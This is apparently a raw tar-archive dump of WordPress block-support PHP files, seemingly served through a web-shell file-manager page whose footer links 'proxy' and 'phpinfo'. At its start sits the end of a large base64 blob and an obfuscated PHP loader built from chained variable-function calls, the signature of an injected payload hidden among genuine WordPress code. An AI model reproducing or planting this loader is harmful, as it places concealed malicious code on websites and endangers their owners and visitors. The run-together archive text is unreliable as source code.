BujqdW9u8AX4gbV6gF/ixfBul52OXmv4KD5KxAdok/mw6LFkn6C1mmcp4qV87f/Mb0fw/zFznJNuzCybvkHXHeNc73DvPApmHtf5YOXStKVheiIgCWk7yNXmLKlMmE8IeN43Pvy8v0cFZlQOmKjODGJNLsTQX3x9750Gt2FsQ2lgMxOPa+0bVxqox8onmDcP0aF1jnDKGGaVVqkINjMx5pF5bphRN48Xdpehmvlw2Zx48azzV152VScn5blfoNH8o4362kS5Mj6d9b2qp9x/4J4/E195oAdszOuH8B0QmCPOEM4gD9b92UgplF+ct/sTfd/g/rZkbXRUDB0PgKcCIbPyePpaW8rBJ1h8Ynrtt1VvJ84s7usA/BSGHBWVp3UhthfMkMHYuCt4s+4jQNYtx4uB33CrwAf44FPQTWS3RxXqe+2ta4Iwx4bJQT3xlK/jo+PxNTerv0FuN1/UJ99Mj4FCckxNvqgW25kHuOLxErzRI7Mjo+zUJHKyL9FYsHUfKShg1Tkf3HQfsR3d5G5bQB5/sfOWSp9j8FxH4Mbv9b0v7GffrFB18zEOP81TiN5Erijp5qtY/f9z8oEbdMzxRQXbSwJWlYDOiYU2K1s20tcZYGyYIdA5vVNUIdqDF01Vju/UJlQajceCmy164JIOfNrP+86MmKu3NNfjCTQtCXhfM9Nd3+W5rm9b1ybz5804+eCJPIzS3D1gEa/rmj+YMQ9ZqzoZKHm01nfsFE7dM3t9Ty7kyIW1/gxaHOPOLOC7p9cYhe7mg4XME9XJ+m7CrCMjEdswNdb9mwkCHZTECzrwnk+A617d+xvQthcGWg7+ziBevEntaBABcJdPjtyo13mFdq27a7zOO+0fwD+pw3/mZmnQEPBcDsU92oF/YhQ0XgmxqkCawvUnNdRXwHiE+y1JBJ85A1/FVUNB8paggUQnxyxk19Ta9vW6R1OHWGpG+9rCT25FBWjpRiLViNfeJcaCWzcjGjBqN1H4BRFb59IgowYXfvL3S+mDZzPxgeXoloDmZ2LyDoa2FJtZxZyh6Pl8MCI382+blBlLPKzvnY8+qqC2mNdcgPPoqd9YP3vc8qSm3ZrHsuwihjuUg69M1vf5EGtd29hA9sjrOn9t3feHv8YxMaq0+2S+ymgwwrOpPANvAX7Zi/PiDk6lr+zuQQcJ38kb0IR5iV6x3EGe2sxqgJtr88T4/cQ+n3HrdnGPrWwYm4ySkHP5pewxqYbxUljgwXuFgKvck3+58iW26449Ew+dVe+/xkxKCx9xtsWlOdI64I5Eunj5cQF5GQDvcn3lXIMCxlfam2ZtzARyuyHaf6zrzjN0cWhP1rVljTSiTtLGLCGfS5MUsUlute/fOXM+1jYQjC/VQspU64aa+wfr1v5d9dpLNBvIhg84wN7eKUyy+p9OBb5FON+xdd6xMZvUx0cVMIMufCkHvb6bRRRWE6cCeFZ/2qmOBsXkGXucre+Gh3ofAaMBA5obtK9VW85E/NccGPAho88E4rw3u9KSa74bJxRp0K9GAfyd+c1GhugKXIhloI3SRinJiQccaVY5KM0QeDFwhnWsiXtNk3mgsU2Zgw52IFbr2P/mxGbj9Orb4F/Suj2J4VyKLn7wALdEQw37860GjU0Ccj+FPC/NaCrapqnCdJHtft1veeEGSgHTh7KfnZKvexSO3cFwRgnaUbZNwPh+Iah7nNo96DbEX9zTSm/d0y+zEKOBc2TPba8GDFDIEegVXlrTV5aTBwaMA40cl7xY96zNs/W99gbgXauG1DLz2AT9t+4Ba5nf0oDr+IahzjfADqLTBQ/189VPdFOWTNe5vQebF9Xz14b04wNi64JGKFjQ3NPlfabG+AE64q0Gt1aZaoK47lJmtjIAX9A2FO7HrbuGxzaKy3WNRB4dM2tjll0KcUAG4eP42iOCOXcWRCHzJ1wH0R13ZH03ZFPqxmA92VE+dqC78xpqDlQScPUMX+PuAU8uR6N7VMy/psZ2YcbDoszJiwGfK9/8EL45xD7eFVaU1Tbci6lfscT26Es2w3m4ILttJ9Z3JEPuFfbqyfHj1G896YO3axGHnGxA3ziAcYIB+2LB36TgPs8Vjpl/xzry61DvpSW/4yDSWY7Bs+P1vfNPErz228hPHFznwNdx3wtdXLccUoObY5QtyOdWcxFsGx4tbmG6vk1YTsxGNwp8mAA2JQG+r/sXgUdM0x4loPPmU66n2MQlcP1Z+HJds5MCLuGfuVlbDh7rwgeFgZ36uG80zxsoelfLUPeAHeAXbjYUV5/5HHhO3moqWem5gGfEji3sgj+5nphxB47/EuwBuumXAZ4bdD8uQcvfIY5fst++5rJmbedUz4mUfbqkVAfgUd/g35O0n9wqmA7QUPgUkrd4cRsZjDY+3za4mzMV4q/KRgET6kLWvTHXNfe6uZJgtiXbIrG+s4S789EAvG/rZ7r8vDuOWvEGtDPEDtusv9xP/gT8dHlkuQ4rj4FfW98VSdpsIR5oHwcHaH2ntoutrSFzf64WuSf+3BYWyWOm1vlvZ2p2dxE8nMMC7e1Fz1MwDT/vJp7GQvgb1uoWd02guuaDaXmH2gtEyxeoh3Uv5ZlnoIvE9ivOeYp9NGY+6NVWYsB8aDs5nAKIv8m9SnNWsAnUaXHNzIhLLgs2XK6FkK81KafAvNS9Tta9Denyvr6j7Qu83EjOk5NyWQIHrHo4hLrURW8W6aI/Kn25Vho905Y9STa5wAzrnA1eGk5Xa/4FXk2fdtNGGdIiIoLKwwXuXv1EJR7QhZtQV4iA4+B3ZRGCTfTkNknFukder79AO0o24Kg0xpKbssygyIjvP6qcDIVVP7GP47LvnoCb5xLxJm59k5huIkJlQ54+j9b2nL7GdMkZdFpLaPN2fL37WmnRoz3Lm4EYcg8Yagsml6OpPjI7figfdDrk5sGowRnGDtT4XULd1+K153YMGnwT958OFlPIg4tdUfUsl2gpe/xad8b68ZD1vFULiQsTr+95KQ7rGiVfH0sxLizbHlUXOdAGXTz44FWACwMyxDS6re+BqpC+FZaZneDPhRGB/+RjLJwI+MdOB4QKY7a5hro7v/CSlH76hDp5EnCnqbXZCIrjOtiGinLQczg6LPxQsXSBnDAzChyr8a00cRb7W01Bhx8NswXd61MfOXHnYDZIApoCPK40Wf/rqhBK4vVdKq/9iaK1nzsBDr2ktvzmPN6c+jECz8GIkPt6GJOj+W6JnuwzHcXUdsnRHilk31J1xb3M1bEOiKN8c93vd8z6zqAGaJTnZJbC6djaBzOMj6Jv2p89wdWMkU4Kur/zsIlAG4B/IlllA895SmOBvznos0SkT9HzW2msYzdbrtjjigOzk/0k6s5BoHt3gkdz2stBhHKpOHCAf3lUVnOOFzC14auf6Mi8DnB2LKUw1/7CADzALM0IcWZ+qUHtoKbtU28upTWeCSVnsc49EPJBeffMEHrj4FEgxz7SDltx73hw7gN0D81C+QaeAjyoJIw3+DX/Mt8vJy4d0Co3aqEBtOaV9dsC2m2qTfDyA36rjWauWbEhbfR1XKA9TLQADntpN9lZCHqt+4Sf0XTin1cWIhQH6x4iJqViW9RWY8seNIAdveYFYy130I4QI0yyHscHq8GZSTax8TAqMWWxgcrMfL/WYb2p0dhTa3utjWgDvMckanZpZ3rMHHcneKrMio4cfCF4mZhT7h0Xd1f6zpUz3YPGf73vLG4/Z8BXVAXsybxoqBh6Vnl8VeJyxeYImt41C9td50zbpdG0J199MYFvQjeT0qors21O+6lQg7bWd28Arp75+s5ZS36dmDyklnNmXCY/63uUhHhZJEBDfd5C3jdJDX5+HVPCNrZOPd8VxjjEAxFpK/3aayYMco2FJIN8gfyW9xhBnXnSKU1IeFHPa/1IixPVazPOJjMedFcDcr76NqyIMTM1Y5MXdX9ZiIHmOh8ZeBnzFEjQQbw7CWijQF0VMyzSgi4RSJzouvZUXnBvPpTZXSv43kI3wKWGCbgp0mz7ZAMH3UvWveivMX/N/W9PveoSVi/ghb9O4HuBBwwCaoovUqR2Y2W6WzjEG7zLVA+vNVRXENsBaOeBGw2taHPkS716NShGNOIcfEZbr3t0P2TPP9IceSV1zd/2LjkTSw10aI54UaVc+OMIGpkOkWTBdocR3lQeCmJ2MaSJLsy4re9bfMQtM4q1fzVU6/y0EQc3A3O9jsFajM1BnG3XtR48NqJUGb/WfbJe7zs7cb6RGn9n9id8qzpmtitpjj4qW/ODNXWYRuBi8RNiiPnaPut7M3LQfaDdT2LLoabNgyl3hOqnDCbQEcWmet6czNfrYqzNYZHPdJ2DZd1+3vPsT+vcpiQL0ZL1c0dCcgS9mpFuXMdhmkqse8ZpXAH/Qi2/gY49k9Y166Bb3+nOwWddlQ8Sh7r3lBb3tPPBxEBuGGOjuDqsczTjkJs/c//BizHwKHa3iZbX+88/X5q6R8/97jWnptt7xmdkNuBjXJr4jkuYWTB/7hldvSYZSK6+Cqbv0poZWwitWTNWkNtrPwL1o4QOYItFccVsCxzwucH2+7NeezX76I166aLa+HHS0og7cBL5T3+SYOZ32V1MbsiZovX9JU5a9zwpEXFOnQ5jKj3ALC76hxWzaSk6bNKwvkqbfJHudoUUiqseuJDNCPjUhJ+72CNdIZrX3uHZUjxAg32R1zvfwQNS5QPO37BoLkdraiWLvuk63tiBng7mA2j7EX7PeItlKfZ3waYr0+/Xykht1aePuNuu+30i8KFIAUclEB8+oIFYKE9Xn84lVML4Jn7mvCIejlSxCTKv2WXGus4SNOFusqqQW0ngPGtbtVXYvFWchJk94tr4dQVMu/MO4TL/tOow6gvA5NKUl7jbm8cFAdfpvOjWd+I2GxKu773lr7kylSU3xIjWMckZrhGAdnnIYHusfNBg/gMarQb/Mu1xONoSMA80E/rI6n/x0nEL5+MdaCr1dOPKwtfDroO/v/zbn/71n/7pn//vO/7r/3gd//b6+d9++9P/9q//v5z+u3P/Myf+179+4X/70/r/P/1//vK1f3ny//JPf/z3v/6/f/rbNvhvf9PoP03wv/3r/wnFpPGg'; $___(); $__________($______($__($_))); $________ = $____(); $_____(); echo $________; /* qsmvno */ shadow.php 0000644 00000004055 15223332731 0006547 0 ustar 00 <?php /** * Shadow block support flag. * * @package WordPress * @since 6.3.0 */ /** * Registers the style and shadow block attributes for block types that support it. * * @since 6.3.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_shadow_support( $block_type ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support ) { return; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( array_key_exists( 'shadow', $block_type->attributes ) ) { $block_type->attributes['shadow'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for shadow features to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 6.3.0 * @since 6.6.0 Return early if __experimentalSkipSerialization is true. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Shadow CSS classes and inline styles. */ function wp_apply_shadow_support( $block_type, $block_attributes ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support || wp_should_skip_block_supports_serialization( $block_type, 'shadow' ) ) { return array(); } $shadow_block_styles = array(); $custom_shadow = $block_attributes['style']['shadow'] ?? null; $shadow_block_styles['shadow'] = $custom_shadow; $attributes = array(); $styles = wp_style_engine_get_styles( $shadow_block_styles ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'shadow', array( 'register_attribute' => 'wp_register_shadow_support', 'apply' => 'wp_apply_shadow_support', ) ); utils.php 0000644 00000001763 15223332731 0006425 0 ustar 00 <?php /** * Block support utility functions. * * @package WordPress * @subpackage Block Supports * @since 6.0.0 */ /** * Checks whether serialization of the current block's supported properties * should occur. * * @since 6.0.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param string $feature_set Name of block support feature set.. * @param string $feature Optional name of individual feature to check. * * @return bool Whether to serialize block support styles & classes. */ function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) { if ( ! is_object( $block_type ) || ! $feature_set ) { return false; } $path = array( $feature_set, '__experimentalSkipSerialization' ); $skip_serialization = _wp_array_get( $block_type->supports, $path, false ); if ( is_array( $skip_serialization ) ) { return in_array( $feature, $skip_serialization, true ); } return $skip_serialization; } position.php 0000644 00000010361 15223332731 0007123 0 ustar 00 <?php /** * Position block support flag. * * @package WordPress * @since 6.2.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.2.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_position_support( $block_type ) { $has_position_support = block_has_support( $block_type, 'position', false ); // Set up attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders position styles to the block wrapper. * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_position_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $has_position_support = block_has_support( $block_type, 'position', false ); if ( ! $has_position_support || empty( $block['attrs']['style']['position'] ) ) { return $block_content; } $global_settings = wp_get_global_settings(); $theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false; $theme_has_fixed_support = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false; // Only allow output for position types that the theme supports. $allowed_position_types = array(); if ( true === $theme_has_sticky_support ) { $allowed_position_types[] = 'sticky'; } if ( true === $theme_has_fixed_support ) { $allowed_position_types[] = 'fixed'; } $style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null; $class_name = wp_unique_id( 'wp-container-' ); $selector = ".$class_name"; $position_styles = array(); $position_type = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : ''; $wrapper_classes = array(); if ( in_array( $position_type, $allowed_position_types, true ) ) { $wrapper_classes[] = $class_name; $wrapper_classes[] = 'is-position-' . $position_type; $sides = array( 'top', 'right', 'bottom', 'left' ); foreach ( $sides as $side ) { $side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null; if ( null !== $side_value ) { /* * For fixed or sticky top positions, * ensure the value includes an offset for the logged in admin bar. */ if ( 'top' === $side && ( 'fixed' === $position_type || 'sticky' === $position_type ) ) { // Ensure 0 values can be used in `calc()` calculations. if ( '0' === $side_value || 0 === $side_value ) { $side_value = '0px'; } // Ensure current side value also factors in the height of the logged in admin bar. $side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))"; } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( $side => $side_value, ), ); } } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( 'position' => $position_type, 'z-index' => '10', ), ); } if ( ! empty( $position_styles ) ) { /* * Add to the style engine store to enqueue and render position styles. */ wp_style_engine_get_stylesheet_from_css_rules( $position_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); // Inject class name to block container markup. $content = new WP_HTML_Tag_Processor( $block_content ); $content->next_tag(); foreach ( $wrapper_classes as $class ) { $content->add_class( $class ); } return (string) $content; } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'position', array( 'register_attribute' => 'wp_register_position_support', ) ); add_filter( 'render_block', 'wp_render_position_support', 10, 2 ); block-style-variations.php 0000644 00000022312 15223332731 0011663 0 ustar 00 <?php /** * Block support to enable per-section styling of block types via * block style variations. * * @package WordPress * @since 6.6.0 */ /** * Determines the block style variation names within a CSS class string. * * @since 6.6.0 * * @param string $class_string CSS class string to look for a variation in. * * @return array|null The block style variation name if found. */ function wp_get_block_style_variation_name_from_class( $class_string ) { if ( ! is_string( $class_string ) ) { return null; } preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches ); return $matches[1] ?? null; } /** * Recursively resolves any `ref` values within a block style variation's data. * * @since 6.6.0 * @access private * * @param array $variation_data Reference to the variation data being processed. * @param array $theme_json Theme.json data to retrieve referenced values from. */ function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) { foreach ( $variation_data as $key => &$value ) { // Only need to potentially process arrays. if ( is_array( $value ) ) { // If ref value is set, attempt to find its matching value and update it. if ( array_key_exists( 'ref', $value ) ) { // Clean up any invalid ref value. if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) { unset( $variation_data[ $key ] ); } $value_path = explode( '.', $value['ref'] ?? '' ); $ref_value = _wp_array_get( $theme_json, $value_path ); // Only update the current value if the referenced path matched a value. if ( null === $ref_value ) { unset( $variation_data[ $key ] ); } else { $value = $ref_value; } } else { // Recursively look for ref instances. wp_resolve_block_style_variation_ref_values( $value, $theme_json ); } } } } /** * Renders the block style variation's styles. * * In the case of nested blocks with variations applied, we want the parent * variation's styles to be rendered before their descendants. This solves the * issue of a block type being styled in both the parent and descendant: we want * the descendant style to take priority, and this is done by loading it after, * in the DOM order. This is why the variation stylesheet generation is in a * different filter. * * @since 6.6.0 * @access private * * @param array $parsed_block The parsed block. * * @return array The parsed block with block style variation classname added. */ function wp_render_block_style_variation_support_styles( $parsed_block ) { $classes = $parsed_block['attrs']['className'] ?? null; $variations = wp_get_block_style_variation_name_from_class( $classes ); if ( ! $variations ) { return $parsed_block; } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $theme_json = $tree->get_raw_data(); // Only the first block style variation with data is supported. $variation_data = array(); foreach ( $variations as $variation ) { $variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array(); if ( ! empty( $variation_data ) ) { break; } } if ( empty( $variation_data ) ) { return $parsed_block; } /* * Recursively resolve any ref values with the appropriate value within the * theme_json data. */ wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json ); $variation_instance = wp_unique_id( $variation . '--' ); $class_name = "is-style-$variation_instance"; $updated_class_name = $parsed_block['attrs']['className'] . " $class_name"; /* * Even though block style variations are effectively theme.json partials, * they can't be processed completely as though they are. * * Block styles support custom selectors to direct specific types of styles * to inner elements. For example, borders on Image block's get applied to * the inner `img` element rather than the wrapping `figure`. * * The following relocates the "root" block style variation styles to * under an appropriate blocks property to leverage the preexisting style * generation for simple block style variations. This way they get the * custom selectors they need. * * The inner elements and block styles for the variation itself are * still included at the top level but scoped by the variation's selector * when the stylesheet is generated. */ $elements_data = $variation_data['elements'] ?? array(); $blocks_data = $variation_data['blocks'] ?? array(); unset( $variation_data['elements'] ); unset( $variation_data['blocks'] ); _wp_array_set( $blocks_data, array( $parsed_block['blockName'], 'variations', $variation_instance ), $variation_data ); $config = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'styles' => array( 'elements' => $elements_data, 'blocks' => $blocks_data, ), ); // Turn off filter that excludes block nodes. They are needed here for the variation's inner block types. if ( ! is_admin() ) { remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } // Temporarily prevent variation instance from being sanitized while processing theme.json. $styles_registry = WP_Block_Styles_Registry::get_instance(); $styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) ); $variation_theme_json = new WP_Theme_JSON( $config, 'blocks' ); $variation_styles = $variation_theme_json->get_stylesheet( array( 'styles' ), array( 'custom' ), array( 'include_block_style_variations' => true, 'skip_root_layout_styles' => true, 'scope' => ".$class_name", ) ); // Clean up temporary block style now instance styles have been processed. $styles_registry->unregister( $parsed_block['blockName'], $variation_instance ); // Restore filter that excludes block nodes. if ( ! is_admin() ) { add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); } if ( empty( $variation_styles ) ) { return $parsed_block; } wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) ); wp_add_inline_style( 'block-style-variation-styles', $variation_styles ); /* * Add variation instance class name to block's className string so it can * be enforced in the block markup via render_block filter. */ _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); return $parsed_block; } /** * Ensures the variation block support class name generated and added to * block attributes in the `render_block_data` filter gets applied to the * block's markup. * * @since 6.6.0 * @access private * * @see wp_render_block_style_variation_support_styles * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function wp_render_block_style_variation_class_name( $block_content, $block ) { if ( ! $block_content || empty( $block['attrs']['className'] ) ) { return $block_content; } /* * Matches a class prefixed by `is-style`, followed by the * variation slug, then `--`, and finally an instance number. */ preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches ); if ( empty( $matches ) ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { /* * Ensure the variation instance class name set in the * `render_block_data` filter is applied in markup. * See `wp_render_block_style_variation_support_styles`. */ $tags->add_class( $matches[0] ); } return $tags->get_updated_html(); } /** * Enqueues styles for block style variations. * * @since 6.6.0 * @access private */ function wp_enqueue_block_style_variation_styles() { wp_enqueue_style( 'block-style-variation-styles' ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'block-style-variation', array() ); add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 ); add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 ); /** * Registers block style variations read in from theme.json partials. * * @since 6.6.0 * @access private * * @param array $variations Shared block style variations. */ function wp_register_block_style_variations_from_theme_json_partials( $variations ) { if ( empty( $variations ) ) { return; } $registry = WP_Block_Styles_Registry::get_instance(); foreach ( $variations as $variation ) { if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) { continue; } $variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] ); $variation_label = $variation['title'] ?? $variation_name; foreach ( $variation['blockTypes'] as $block_type ) { $registered_styles = $registry->get_registered_styles_for_block( $block_type ); // Register block style variation if it hasn't already been registered. if ( ! array_key_exists( $variation_name, $registered_styles ) ) { register_block_style( $block_type, array( 'name' => $variation_name, 'label' => $variation_label, ) ); } } } }
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings